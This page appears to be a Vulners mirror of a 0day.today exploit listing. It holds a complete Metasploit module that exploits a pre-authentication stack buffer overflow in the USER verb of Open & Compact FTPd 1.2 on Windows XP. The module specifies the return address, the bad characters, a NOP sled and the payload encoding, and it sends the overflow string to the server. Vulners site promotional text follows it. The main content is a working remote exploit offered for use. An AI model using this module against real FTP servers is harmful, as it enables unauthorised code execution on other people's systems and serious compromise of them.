Lucene search
K

Open & Compact FTPd 1.2 Pre-Authentication Buffer Overflow (meta)

🗓️ 15 Mar 2010 00:00:00Reported by BlakeType 
zdt
 zdt
🔗 0day.today👁 13 Views

Open & Compact FTPd 1.2 Pre-Authentication Buffer Overflow MSF exploi

Code
=================================================================
Open & Compact FTPd 1.2 Pre-Authentication Buffer Overflow (meta)
=================================================================

# Exploit Title: Open & Compact FTPd 1.2 Pre-Authentication Buffer Overflow MSF
# Date: March 14, 2010
# Author: Blake
# Software Link: http://sourceforge.net/projects/open-ftpd/files/open-ftpd/binairies.1.2/open-ftpd.1.2.tar.gz/download
# Version: 1.2
# Tested on: XP SP3
 
Exploit causes the ftp server to crash so adduser, etc. payloads are most effective.
 
 
 
require 'msf/core'
 
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = AverageRanking
 
    include Msf::Exploit::Remote::Ftp
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Open & Compact FTPd 1.2 Pre-Authentication Buffer Overflow',
            'Description'    => %q{
                This module exploits a stack overflow in the USER verb in Open & Compact FTPd version 1.2. The program will crash once the payload is sent, so bind shell payloads are not effective.
 
            },
            'Author'         => 'Blake',
            'License'        => MSF_LICENSE,
            'Version'        => 'Version 1',
            'References'     =>
                [
                    [ 'EDB-ID', '11420'],
                    [ 'URL', 'http://www.exploit-db.com/exploits/11420' ],
                ],
            'Privileged'     => true,
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload'        =>
                {
                    'Space'    => 400,
                    'BadChars' => "\x00\x20\x0a\x0d",
                    'StackAdjustment' => -3500,
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Windows XP SP2/SP3 English',       { 'Ret' => 0x00202c42 } ],
 
                ],
            'DisclosureDate' => 'Feb 12, 2010',
            'DefaultTarget'  => 0))
    end
 
 
    def exploit
        connect
 
        sploit =  "\x42\x2c\x20" * 199
        sploit << make_nops(10)
        sploit << payload.encoded
 
        print_status("Trying target #{target.name<http://target.name>}...")
 
        login = "USER #{sploit}\r\n"
        login << "PASS " + rand_text_alphanumeric(12)
 
        sock.put(login + "\r\n")
 
        handler
        disconnect
    end
 
end



#  0day.today [2018-01-03]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

15 Mar 2010 00:00Current
7.1High risk
Vulners AI Score7.1
13